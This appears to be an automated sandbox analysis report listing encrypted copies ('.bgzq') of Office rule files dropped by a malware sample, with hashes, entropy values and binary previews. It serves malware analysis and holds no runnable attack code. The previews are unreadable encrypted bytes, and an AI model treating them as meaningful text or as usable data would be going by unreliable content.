Preview:	<?xml....aa.$.. .2<8....\.qr....U8..S.m...y.V.''..<.............y.Q.F#....Z...ob9p.Dy.1.q....o...^d.~Hb.j.Q.G.....{B..J..._.^...$&.M....&.9..q..UX.J.........;.#U.VE I0-W..."..7]k..\|....... ..v..r..O..H......=.aJH%.(t.n...s.#^.a..<._5L.N~...Jo..(.g%."..LhY.i....Jk.."..-.$....'O.g.......S...>.`....u..7.....s.Ki\|......a.....K(..g ..8c........N..W..Nu....s.}-.M..M}\r.$..I....Va...l;.....'.I!....{..5..J.....^,.5_CTU.M....Q....z.....^.'.......}.(.\......'..]..Xj....5..I...@../H;P.2qg...O.\|J.. ...7..r.......O..s...y\.U..k..^...g..U...r.X....w....8VO..`..........H...4...R:c...f.>=....!.6y..!G......\|.j.B...$......;....1..[.'.t..y2.Y. '...u..d..i.+.O..' ...^.>q......%...Y....5.J.hYq.s.\...UA.\.7u..6..k....Us.YE].W.8.8.Sn..K..B.W..N!0.U.....j.(Gb.tYr...`T,>+.s......X...d.J...R....d..."2C.c...^. ....?&...e...../.5...u.....y-.Y.yQ%...?.@.\|.r!;............Q.....$...+.......H.a.k.=........\|.rk...o...Z...bL....v.w..'..6V..r..mR.K..8..H

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11793v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.877979527373931
Encrypted:	false
SSDEEP:	48:BKLJ+DDOymjD+aPUnXviKlCl1f7G6agDo56Kd3AS7FD:BKLJ+DDSv1PUXvrCnf7LwvQS79
MD5:	323D864E26303F429A1FE9A582E29E4D
SHA1:	63A4E9BA308D0F4094FFC5C4CBFB67E4AD9B15C1
SHA-256:	1832727F3E316EA7F1412A4847848479538DE4ECAA691D27E6F1C9FC72633396
SHA-512:	65C0714BCADE7BD6E21FECD7787BFF2DB855E333780C7114DC7E38DD9BC55811224AC214777AA51157733CD379718D868CB85B2D5D12DBC8D9D9A2EEBD55BEE9
Malicious:	false
Preview:	<?xml...........f&x...F.{.a@.g\|.._Y0M.@........).%...zo.....n...@.:.T...$X.....'...J.&B#..mt.%.T.mW.......[.&.V.i.5B.s.m.w..R9.?>.S.OZ.r..-t(.. W[....!.p7.P..~.0.....[.@3y.o....&UR%...}f~!..EDw.";.p.....1.H..4I>....._,.l.5..!.u9`c...7A...2{.... A.y....S2....#.5...=6qa..\|.X.d...-9.6..:6.x...3............F.......5.c7?.a..;..x..!.<......0..}Clp#....z.E.....d5v/.}....C...;.....D.K...H.?.S...sp.A.....&.U-@.,.$...2..-.>.....~.O.q`Z&:S...y...L6.....V\|........l..M..]...{2......Y....d;...'<.9d.{...}hwqK....;I.e.kIRm..t.....d`..(wD........f..[.~}. .....f9..:..!.Q...........F..\|.........A5(........\|....A8.`.J.zF..o.4..E</y.uP,.^+.M.....o.n..e....i.....kT.;.F...L.!......P~8.>%%u.....G..\|...e..J....J..<..2.v.\|.G.F=.+.0^.."./-.?.e...........2.)...F.....>.......gH3..j$...K.r...\|..\..<...wn..<..E..A.z.Y\.....Wa.v.\^..).,.2...Bgy...*(.....\^Q..y..p.odk.{.jR.....'Z.:.q..c....s..i.]..c..U.<1....o...^o.'G[..1nC...j4B8@..M..,....W..(...W.....D..l.&.>

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11794v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.886661719229619
Encrypted:	false
SSDEEP:	48:OZle7lEUlvsN+xY0DZqTc04Y45kr2vs7XiQ9DZFD:iClhkcxYePgokCULD9DZ9
MD5:	A3EC9D185DE568D4063AE702FAFB35F6
SHA1:	58E627AF94D6042F608FB93CD4AAF048DC1DFE8D
SHA-256:	E54BC260AE1E5AFF93686F9CC01C5DB9429BD9E5B318685CDFC5C0C92CA63716
SHA-512:	E8105912C1E19BB469CC6A7B3D0D043A9904F6F73E439C702E93171478A797152DA1D47B9758927A7471EDED1958A9CAB75E61265E3434AC9726666786816592
Malicious:	false
Preview:	<?xml.h.n.?.h>.V....V.Z.3{..3.@7.....u...F.Fi.?.2....r....[..Y...._.aKW-.r..N0.RH..<t..$.W.t.Js........z.e.A.....Ah7.....5...(f..'......E`...[N.....N0D..E..}..(A..j<..2..G.i&#..=[.$..SP..hl$..#..bQZv..7.VL....-k....`....r..;I.a..CM.....<...0....B.>3...nN.gy.......].<...S6.F......S.;\|...Dz..+.....@.......~...l%.......L!W...\.p.L_..h.U\..\?Q.+W..........Y.0.R.9=..89VK..c...@.....{..9\|..E..1.h..7...'.....S0N.].........U._....9;..../.a...?...u.D..G.....`M$.".{...E.&.9.-.S....=.zq&.R...h.....C......^..).u..c...r...B:a.9..l.`.s..@\r..P.Jn..Y 6.....l.O...\|.B .< ...L....%/...j...\|...D....8Wu...:..x.i....&...W....13.$>....."\|..X.g....i.#./...@b#!...b....T...lI..p.{N..-..`.J......{..^8.L.`Xo.;Z;.....Q.K....6...:...Z....Jl............"..I........\7(..h.....P ..'..y2...;`..b...L.....e.< ....{.".\.....N)C...{......j.g5.`p&>.......+"L.A.. ..]y.}......Hf.C.oj..I.t...0.a,/..}....=...Sq2Hxg....(....<....U..6af..i-..3.:.............K...J...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11834v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.883507615788253
Encrypted:	false
SSDEEP:	48:F5K4XCJk7w8y38gyxxwU/QoTEgMNI3+3FtcrLslzFD:Td7DjgkQojf3mcMd9
MD5:	CDC7987EAC6D85E831D1672501B2BD4E
SHA1:	720D011D99CCC503C8A0497E6658AF7CBA282467
SHA-256:	7A98815B55DB7562EE688D5BBDE0412ECB67CBA2738C41D296476AA8B6BEE933
SHA-512:	C8DE3391536CE57A953A163D99C59D4ACB80D58AAAC2B4F3963E643A0149618AEA4E54705B4B55AB8C3823815C05CE419FB1F6031160EE6B4A5D2699A52C9D49
Malicious:	false
Preview:	<?xml>/[..`.N..s.9`...f..J..Yh.0.y,C.....L../.'.]..o...:\.b.'..\. ?.....`..........."...M.B..u.......aU...A.%T,n...u...#..x..=...%.N+.&a5M..;c.7Ta......g.....s>................pf:~...kz_.......<iK...(4C...'/.<..r.o...,.1f..LI...v.........c.-...\.;.h.a..,...l.."..<)..W....p.H.g.,4>..!.o.....].d..f..a..Q:..?../.s`..i.....O.F...]....a....5........Rk......p R$...DE...L..j.....z..1.....y...+ e..q...<..f..?..-.p...F.\|......b.......;.4.p.Qd.. ^..N.........$L....0c....?.I...\D:.6...x..>....r;..........DdT,..m.5TzF...l&0`....rN...u8...y.v.D<....ux..O.....tD.r.Xv.@.....aT.y...=.>.......3...@<...te...h..v....X..~...B..RF..\|...=..3..../..#.....N...`...@..'...J.u..12D...5....Gm.nK..A!....@c.....~.[..j.$............/TUOZ.17 .E.x...'....y..<%.8.p.]..r1R+...V..vw..#.<.+d.....:.8M..b.r......Z..F#..L...........H....cw....I...."..d..G....2.....q.....'>#../....\..$......T..-..K..N.........l.yK..>.s..\|?.m..$...y......Ra(.$..B..aFg1..Z....`.+..&..{........

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11882v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.864177147056003
Encrypted:	false
SSDEEP:	24:E+ay7vOwbu1ZMnhQ6SThIsKbqFzePc3L1phlrHJF1LIOx6Yn8YZN7sg94htVbD:Cyqls1SPKMePc37pDLIOx6Y8Yv7naFD
MD5:	7283DC45AE4BB69323994C0F2B5BBCAF
SHA1:	E1DD85A4E406AAF06962DA402825C7F15AA25A70
SHA-256:	A1AAF97B7758C41B241FCA6125D1B913907C7781652E4AC20CB8F406DBFDF751
SHA-512:	AD4F936A109622D0433B0B33C8DC5A33CDA4468E78820665BC8B65CCA668B2D58FE394523E14288870C09EA6EDF337DA16F2A03C8AF4DE1BD11F52619A1E0E6E
Malicious:	false
Preview:	<?xml8~.\.NM.....4....Nh>.....}...r....h..K..u..x.\7../.....T.:..n.R.J.`L.h...s...]}....).....Fhx.....K..F.=..7..~...Bb}..h...w.kM.....[V....U...OU....T.=....j.A0H&V...m...X....wy.o..y.t./.....?.2P,E...KM.l!..P.8N..~Q5c..\|.....0.}c.._.../.....@....U..........Fe.........3H.%.W.A..;8#.~..o:.....{............W.D..g;..n\3.-......^rB]...id{....Y1.8&U..nQmNg....5P.4.......~.....(.V.q....4..\Xh...K<ow....r..ti.a/..B..<...\|.K..{./9].dq./:Yx[):.......4w8....Q..1...n&..~XF...).).../S`\|<F...=.a%...C$..T.y.....C\|...zO.../4-k1......{.....[....\|....ofqvj{.J."...]?=...!..3i...Fy.m{b.`F..Ld.`..)`.... .).+E:.H..rcC........YO.i...[Lh.q....4..F....v....%..}.....Q..t.M.....X..x.....~>........a.1.dZ....B...-.X..:9...7..Uh..G..>%.....Y....9..cn..6w.X....Rq..K...S....3..uK......N~.......u.t.....>i@.l..D..3....i.d......TK.....(y....&..$..P....'.v..K...S.R.......yN......VI.."L.D.R.....l Ei...Y....>.o..*.o..v...N......V0y..@/...KTC.Q...?../...7Y......:..IpR...s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11890v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.865732729554401
Encrypted:	false
SSDEEP:	24:VaqXoDKo/gv53skOiL7/AbXynjLZJMDiXOoOUvBaCjHc2tK2YP3cim4rG0w3cVbD:VloDKoo9shNy3YIOMachtVY/cimQG0Ck
MD5:	BD34163FADAB78CF2E1C9266EFF28517
SHA1:	51E1DB2082FEBEA3F163DFED899039139CF9D0F8
SHA-256:	3FD746FB72EAE5BDCB9DBE4A32BE2E294BD032DFED359216760B35A2D3604587
SHA-512:	02BEC95A98F251D82E8A75F78D945FAD0167B488FBECAB0836FEBD675B86F2C9AA5F61EBAE172054162FCE54277B2D37F09840E4A63DA05F94CF54A568426B28
Malicious:	false
Preview:	<?xml.y.O.A.D./....0.~M..j ..R5...l(.Oc.......@QP.2.%.(^K1Lcq..Yd5m....+.....aM5..%..../.u8..$/...g.Ye1....c...M;.....Y.CJ.a..?2...%.y....t.9...K..g..$J..@;D....sU-..N...sv.AN./C.Z'3>..W..rn........F\|jv../.0;%f.[.....r.v.O...X.k..}.W.s.....,..xd%.[........i..c5.q^v.....a.Y..:...}..p.Is......so[$.......O.f\\..6....Q..f...J...4+. .3..u.>&.M....g.x..:......2.r..+Zh.p.:t$..['&....g....8......L........`.............m..R...4...c.VE......E...9.\.U?.O....KF...\@./...!..[.A.j.O.zg..H.uX.gY..........N.."iH.,(?.....n..:.l..qd..m.%l......=.i...S..3.].H?C'.......4.....P.n..)...G$`4Euuv.Q.....,...vo..h.8.p.K..........]....9.hwK.....d...>.[.<'@....l.`..CB......h.P..q.2..N%...@-..?`.w~bv...M .,..V~..cf]....bvW.......Q.wl@.....!.\|o...#....\{V..:...O.....aOxM. .FY.g..E>,(.[.'e.._....y).o....B..U.*.e....k:.^.F...I..y..B.cq.(:....&......Q.'.(..`.c=.Z0V"..........d....\l..owr02..........;4.WKQ......7...v...Z/6...tgC.El.u.d.....$....h@.i...bg.'..q..>

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11930v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.876745913600515
Encrypted:	false
SSDEEP:	48:tgtMty7mc7rxOCL7D/jRafIVaDXsfmupDFD:o8Tc7rdFgIVsjOD9
MD5:	42D144C14221F8C11209F105820E79B7
SHA1:	F8B98C5DAAAC763A1D848ECC77CFA1D758DF48BE
SHA-256:	49D23AB8C87AFC289D0DEC81C5944127187051F5F2A2A2CFFA9609E4DA49D6F3
SHA-512:	DAF96013C42AAA76EDB350CA833A92972CC24B3A220B8F870CC68E29736A3516181662204E39A27825A683BF4680A6C3BCEB75792BB271A17B6FFF1926726112
Malicious:	false
Preview:	<?xml.....1.g...;yc..Ag_.h.W......S......!...~.....@.....$...O......}.T.e:..T ..<HM..&\|..J}p.....;I...x.Q..p..APB0E......T.>.rr..$i..1..!...E..o..'.n.G..!"..E../...[/....8.... ...L....I.W..s....v...Y?.6)t{.E.AE..".Cd.v. v..8@V8...z..<..B.6.(..o..M./..<b.2yCb.G..@...rv....P.9.N......(s.H.....yK.).qV<.{..E"?..i...i`h...N....R...?i.s..^.#o).._......gj....5s..N..`......b......d...k..o.v..L..?G.j...6.q.....F.....l...p....R.:-.\|L..:\4....!..T.\...a../[.{[.......!.q.=..t..U...'.g..A.>E.!8g.2..@..p.T.N{..f2..^....l.N.7..l.f.k3$).r...h.>K..d......z9Y..wlfLkC.f..0.....3........c.b.hp..X2lP..>..dJ.....sa...Lnpn.%.Sgo..t...I.n]-.[W.....F\i........V.+.:Vs...r!.546........@...v...\|...A.k..n...L...U.BO.c)6....>...<NV..A.fq.3.....d..X%...GPf...y9.._V....K.8..-.....y>.w...,.I$..]s.sk......va...}....2...6..ll...'..J..2jQ;.#..D....p..'...".D+..5Wo{r..b...M..h...Q...X.R4....=.r...M\|..J...uqn....7...H..`>..f.d..-E..9r0.K.5HS1....&.9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.784587544313097
Encrypted:	false
SSDEEP:	24:/Dgfn7PhNyhUz4BDFOlw+DYzfZJkBjILf6SHaRfqBVbD:Sz4BDFtyYzfUBjOf6orBFD
MD5:	8002A19BD78CE0E090F8F4A94058040D
SHA1:	B5C6934D2197BFD98A6372BD8C6410DB28EDD1A6
SHA-256:	BDF0FCC600A3E058199EA178BB4A8BFDAE59381BBDB721C251507E481520C372
SHA-512:	F5D25CBBA50137BF8DBBFC645BF5AFFE2D357043773DC67454BA395745D8A872B8DEAF944882896DDE2730484B26D74F59F90C6A6486B0E2D6A8687C94AA25F5
Malicious:	false
Preview:	<?xmlY.{>.0!...._.s....V.G..]P....?G..;....$ug3\|. g{1.F....k..8..S."a(e.x.@.L....K..........-0{#.....9.......t94\|4!1(m...z%.lW.._...Q...>..........u....+...[sE..t$....._......@..........x.~9.8....b-...#....R.T..o..k1C-W.B.5.xe.fS...l....u.....A..I0..h.xh.v..e.....a.J..[..y.`...f@Q.p(..K)..c#S[T..x#:.0.z\..u.?UT4..#.....V....E...'.s.c..Qm).7M.2.Ui..O.LL.$......JA..o.]......b...he.d.Ez....I..`%..G...$..H......X..V.r..M&.....@F=....v..F...`...'.T...%....."....g.....hx.>...m.jiAh.i...<g..I.+.X$.T.wV....N.W,;....=.b...6`...Z.!.u....o..\.h.@..D...".V.]&U.Ql.../0...I.ta......&a.-..@.....0....W..6..o...g.>8.x.P.Hh.....F..(....#.A......k....WG..'...)...n....5U.=..FV.....D..&7.m..$....v...<d.S.=>..Y..N....k.8.N@.b...$..}...2.*o&......6>...$1.aW..Ol.].6.....:..uA.`.8..m@&...jW.q...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.944462588167961
Encrypted:	false
SSDEEP:	96:MzYCsV4jk020and7Q1p2SzAZ0IVUoVtoa9:QYCuF7Q1ptzAZ0aUoVG6
MD5:	441E8AF34EFA8B1A6A01EF441CA05BD0
SHA1:	0B7E17D576C6DD1E5485C304E4782CF4F69FA33C
SHA-256:	1C12F0F8D6FBB360995C85B9A07A045986216B5BCDBCE373037B1C650683BF96
SHA-512:	7D3730E1D8CAB8799BB422BFC722B718487107CFA9C4C7FF41D224238399D1A1BF5FEC2A777A350C33F1248A3BFBE2ED365B5D7A363A4C60F8F78FA2D9276066
Malicious:	false
Preview:	<?xmlbF1...^...\.~I.......'b.....>...:...K......hk.r....;Y%kq.i./j..}..f ..NR.....D..RY...`..@T..s.tf....J..$.z.....NZ...!o..^.BH..l..,RQ...w....7.........F.."j.....4.0.LICC...zR\..wL,.%.$qO.sfC_.7I>.'Y_.\|`...;.hx.Lv.%..Xu..Y;F.p....S.wDkW..dL.^.........B....]...-.4.6XK[.s..O...;...P.>..oRF.C..4<F..~.{_.)..h...yQ..J.+..Zj...TO..Ya....I..jQ7.cf..8..}.Q..^e.F.......LK.e..q./h.q.e.....v.2..!o.k..^...J{.Z..>#....[.NQ.......Z.....U.#6..a6..[..;.v...o..e.....0...t..T..h.s..4.6Q...Y..n.Tx.o..-9..G......<.{./M..Y9J...raF.B+.}.f...b...../.S..N. MAI/......+.QD......dOI.B..p_L.B.DZ...An.%..O0.I........tXKl.D......`.#>P..J.'...+..p.c.....l.._....._...F,.. w.~.0.....z.!....vu.h.(U._..$/..fa.q1.~.!e......\|.[..7..^n1<..WJA.,.n@o....@i.W.."..-........c..33$<i`..._6..s!@...pk...x.{.#>.X.OM.!..s.ed....>.C:.%....jb.......$2.)&.]....4s3...]B.h...~U.F....t..v>=Kw`.(C.)....%..I.O..."8%<.....&...!zY..v..UJ.P.R..5....'{q..lN..T.R.Gp.q(.L:....,g;J..D.g)<1.Aq.....&o

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.949919288435627
Encrypted:	false
SSDEEP:	96:g9nEpur7TjDny1mIPvRtT+ZSaa74pq9o9:OnDr7fDsPvsSLsH
MD5:	38FC582E8272D4F8ECC379EA77639CB0
SHA1:	265ECFF24221F09772DE740D5E28C08A8CDB9B71
SHA-256:	87A8CB7464F4D64157FC7D09059EFFE4CBD06713D203197FE27C7A15B6B5B82B
SHA-512:	3AEF3107B92896FB92857961156014ECF94F00DFF80DC8D465DE4B5472E81C0374C1E8D82DA981CA0C721A483C28D0E7C2BFB403146D44D49D4D350BCBD2B30D
Malicious:	false
Preview:	<?xmlI..4...(.i./[T/mH..........A{pLe.c........Nan`'.p.gd.y..KM..E...Li...C..w.i.>..4......;J.H.O..U.5..i.9.e..M..D.. ".R..'>....M..M#7.....9..'..@.......fs...6k.X...!Y..rJn{.Xl.......pX.i.\|.j......b...e.R.g...QCr.t...u#/.a{.Y..z...t@.......E.u"X.g..G...3e...xq..Z...X.\|.Y........r.e..R.fH.P.....^.GKO\|....O.......O...]..kf=[F.m.-t..:...........5w.A%...s.2...f.2..q...g.%@.....].....BaHOg.8.Gu.._.....z..z....@-....N.......TS';..s.c.~.....R.W_..C....Bn.7%.8)Ym..kH,.2XO.......u..#+.=...v'..9...1c.m........t..M..e.?.,.Da...-..z...Kn...^}".T.....w................)........`g./....z..>...T.b.... .V.t...p..!!.Ct'.a.#bHQC..v.].-x...=.P.W.P.B....&T....},d...++.......X.G...A^u..2..e..e..O.vL0....c..pe......Gy....YN.!.Yde./.6......<'..>g.b...P.'.`.j.U.J..G.6....Q..D[.'......D.0.N.0...R..'q..!.....X.j....Aj?....{.\.#P..lv...>.O.i...b..J.5...'...p..5b...T.a...I...D..f..j...[......o....8$}O....{>...`$. . .......F.i..W...O....H...+.....rv.\.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.718811440331782
Encrypted:	false
SSDEEP:	12:QwL+l5vAq/yYL35sfU292yh3H1Bk8RR5tzHGdt7q4+KQGQYEpY1oVyNJucaKsNj9:NL+gqKw3yfjYoXsWtzH+q4+IQYuoqy6N
MD5:	76687CF526E433308A2E21EA7FA83EC9
SHA1:	DAA0BFE21484DD3B4E32B746BBE91CB3DA1623A5
SHA-256:	E178E81C39EBB380EE60587F647C00D8EE0BF56FBB3F25327B6DFEBA32E048DC
SHA-512:	497687B730CB7BBD3FA6143341F3A89104D17175C02C9459A6758EA446E4D3FA3EB1A887419DCB73EA939B00F1C6AA21572AEB3D9DDA580EDFD811BB8DCC8FBC
Malicious:	false
Preview:	<?xml.]..d..p......:r.L....7TJ..6+g.b...!a.g;TN....$..........rDW.x...v.6.8...Tg]..-.6.i@.#.U3%.].......... ..uep.O/.o.R..W;i.W.=....Im".S./..B..l...}..%..~..2...#......3..hg...w..u..]\|S&e._..Vq......~V.+.uM?_=......p.T....+.........;<.@7..YU..tsk3Q....I!.h.v..o~...vt.m.i..X....V....r)s._.OV....;....k..~.'..-s....u..\.Gc\.`c..9.B".;......,..g>@.+._GjFe..ex....U........!V.:...U...M../j.T.8...d.a....O.Q..O..^..S..}..+..A..>...../.%.C.>...>2..tL.%I...S]....U/=b7f..G....iW.c[..k.a9S_........cX..l[.>:..&.V`.F....l......t......$.......^P..<Gi.V8..R...9...b.&.\|D..i..DOW....lG.#"y......~.\|.J[.x6..f..=.gR.D7...Q'..\|T*r8'....m1F2Nk.xe.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.875580581823033
Encrypted:	false
SSDEEP:	48:zLNa0CHCsaYsC0mSZ00akq0r44q2OSLABeO5fuZTvqFD:HNIsO0myB8SLOSLYP5Ivq9
MD5:	C21800A726BA2B53CFCE2F834ABC8E33
SHA1:	0D98F3C4BB7A8A49E9643C6F6BE0BB66B701127A
SHA-256:	82C503CEB2CC7BC5C5BA19AA41701C95744C6E139B0125B1E1D6A000AA8E1013
SHA-512:	8B060A7D5D05ECB81379C2256C025126A41F7F4CC131B317A3A0944FB85DAE49707A62E35DA80E6EC5F68CC488DB86E8C191A7C094E425B5783515C80A00647B
Malicious:	false
Preview:	<?xml....[?.{..7..<......r.m..Y...m=..~l.q....^...D.}~p&.3...?....~A,.7...W;..zJZ.3.Pf.jG....F.v.]. .?Y.W..%@w?.PT.Pn&...G.......'.7..!...~?./....~2D."......XC....2A.......8..VH\.DW..Q#:N..msl#;.Z:^.6.....k...K...>n.,....S9.......<...^..T].1nD..D.e..8k..X..N...Z...-Y8......^.......f.=a...N=...l..k9.:...i.9...D.+C...F...^...x....:..PO20v".;.cD...1..7..vE7....T.t.zP+. .TX..w.q..:..~.I)h..P...\..w.=w..D.Q...D....o8..+(e..+e.N..O.'o.5.0f...{...h...j.X. ..s.%.........y.A...........i..,:.N].....nB..t.'.......e.h...2\.!^..Y....-M..F.U...R......j..g....j..^..)`.X........D........'T...e....<...#.NMbrR...8.5](....]`=0...(.t...xRGZ. ...j]........\YQQ..s...F...F.),F......9.~..'.<.:....[........e0o..g1.n.H.e..%.;d\.g..../.S.<".7$...M..c.{.f...9.....Lo.s..q.....f..........\.....y.T..d.'....<}m.L_C;.....L.ew..e@..R.DU....m..z......`A.9....f.HA..dH.a,.fP.B_9....362..Gr..l.j..n..h.S..w..%...O..M.../@.....!.....,xk..h_..~=I[#...rf..M

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.7017030788903424
Encrypted:	false
SSDEEP:	24:ojTeOHDU5H3KPIUyYTnUYSEktrEnnGRCb9ICl3oR7VbD:rCpuASEktOaOIClmFD
MD5:	8C867F2652798743A04FC9FEA9E3F328
SHA1:	65B3AE9C6608EDAFC9EA3DF246E7002C0E76B1E7
SHA-256:	99C6316AC4ECA986290076A38027D30F3E0A0E0D46491BEDF14A8E1C6B04EB38
SHA-512:	8035A91D5818230DCA5EF8F6A089B3FB7D9DE2EC00EC26ABF7975F68E187A71B6D55108B821AC398AB9A378549450F14164A091B2025C59C93B5B4ADB847D4C5
Malicious:	false
Preview:	<?xml.....t/.w...?j.yMo]."Dl...Wp.@M...2..p.\....MU.S.%........G...p..#<(..4fe&.a....].B.v...94..O.N..b7..:z.(..m~.u....?.%.(..;A#...p..Y.H..y&.q..>.HB...,G<#..{.m;B.rmF.T.f..ip...xc/b.....\|..Q..u>q.....?zj...L..I.5C)..._Xh...v.UV.......U....KK.-...kF]...s..G..hG+6..ub.....C......+K'I\..._...8..}/.ic.....x.......s..Q?.....R.Ru..i..+....l[.....G...(.2.j ..+9B...O..&z..4oX....... ..P...3...b.:.=...T..K~..}.!...+..yU.;.8]...l.-.'..\..Ip...H....l;....t.@.%..m.}."...s..8...m........h7....i....d>.t...5..S.t....S&0...F.9y..Mg......c.j.%.@.i..X@..!hUf.?&.@.r...Z+.....Q.d...............;2...=..V."i.2..R...i....P.e..e.....<....T..Az.(....'....8.G...........>...?..3..,.. ..30.i.~....vf......+....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.82760332216793
Encrypted:	false
SSDEEP:	24:4VsnpRmbTufGI+VCsLf2UYbwisaAoBfugkFNmrP/7w6TrVbD:eopobTuuICCsLf2U2wAPtpWmrLw6TrFD
MD5:	C64B17D936D4C3E8E14CE442E2525A90
SHA1:	4B8202640E133B2C3D85D873BFB59BA1BE2D12AD
SHA-256:	83946B9850995FE312D4ED1279EC466DD26D9111F856D4FB4E98769F13D6A186
SHA-512:	27EF86A2997E116019B7805D8DDC09BAB624DA7B807B96F89D6F3BE7B8B97ABDD4DE44738E8CDB143E1D6A25720A353ABDDC272F36ADC75FF021B57EBD1EF4A7
Malicious:	false
Preview:	<?xml.......D....\.....e.?...m,....8:2.........nw.....&[......W..l.E0......v.~..6w.X(..L!..j..'.YS.(.u......).=.<....dl...6..z...]..../HA$:.....tK........x#..N.O...........qO.a!.s..Y&2\#....R.:G2.8c;p2..~......6..@.O1G.{..x..t`7{&6..@\|e.......n.:..)S.j.~.....m..59vMk.uUr..\|)...id....}....e...a...c......~....m...g,b30.i.m...&..vF...Pj].....>..._.y......e..mTRk.k.I..v.....7...W...M.yj.<Ws4Z..2......\.4QG.".....=...p.....H.....[.D.....&#.j.~.DF.. . .`xU.?...w.m....p.X..U.Qc._A..v.p+.U.t...S..../_.t~.s\..5J=@...J.>-d8..L...e.K.QQ..%.f.4hA.3/u.l....R.....]R.z.\|.Qc.3$9.7O..1T.. >.gXo.....=./....[.x..d...Q..3L..h8.....Z ....B...b..%.....{:x$......@P3.f9C..V.......Z....~.r...9.!..1....7^.,...E.:..g).x=.....%...2.nS..~..S...6......hB./MB..hW.M.%.y.k..JI/a.......6=...d.0..y..zYi.g..vqB7....a^p.~{8..L+..6..it...sL(.l....Ij._.........<...~.RyW[...q.J....t...n.N...7X.0vw......~.,IU.M).. n....m.$%k.........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.875459113812121
Encrypted:	false
SSDEEP:	24:sYOj82vF+ItdWPkIehUVgagB2KJSmAYosMtT+NslRQBuAOZVbD:sYu82vYUIiagfJGx9T+NyrAOZFD
MD5:	ADBD5810ACAA5D8B8A5FA338DCE3F52D
SHA1:	359A52497A04B93C922ABA6C22A9F8B587E030DE
SHA-256:	0D9417AC3E3615B2E310A0DFBE32CEF8EC4F497EBE33A8BE86395EB3E2D41313
SHA-512:	4BD173340ADE03968FC3192DD6075971FDD42F503008BD6EFBCBCA0528F4FF2D1BEDEA80E6793375A22BB0116FBEF781C905C847ADC17F56CD6ACB5171420CB5
Malicious:	false
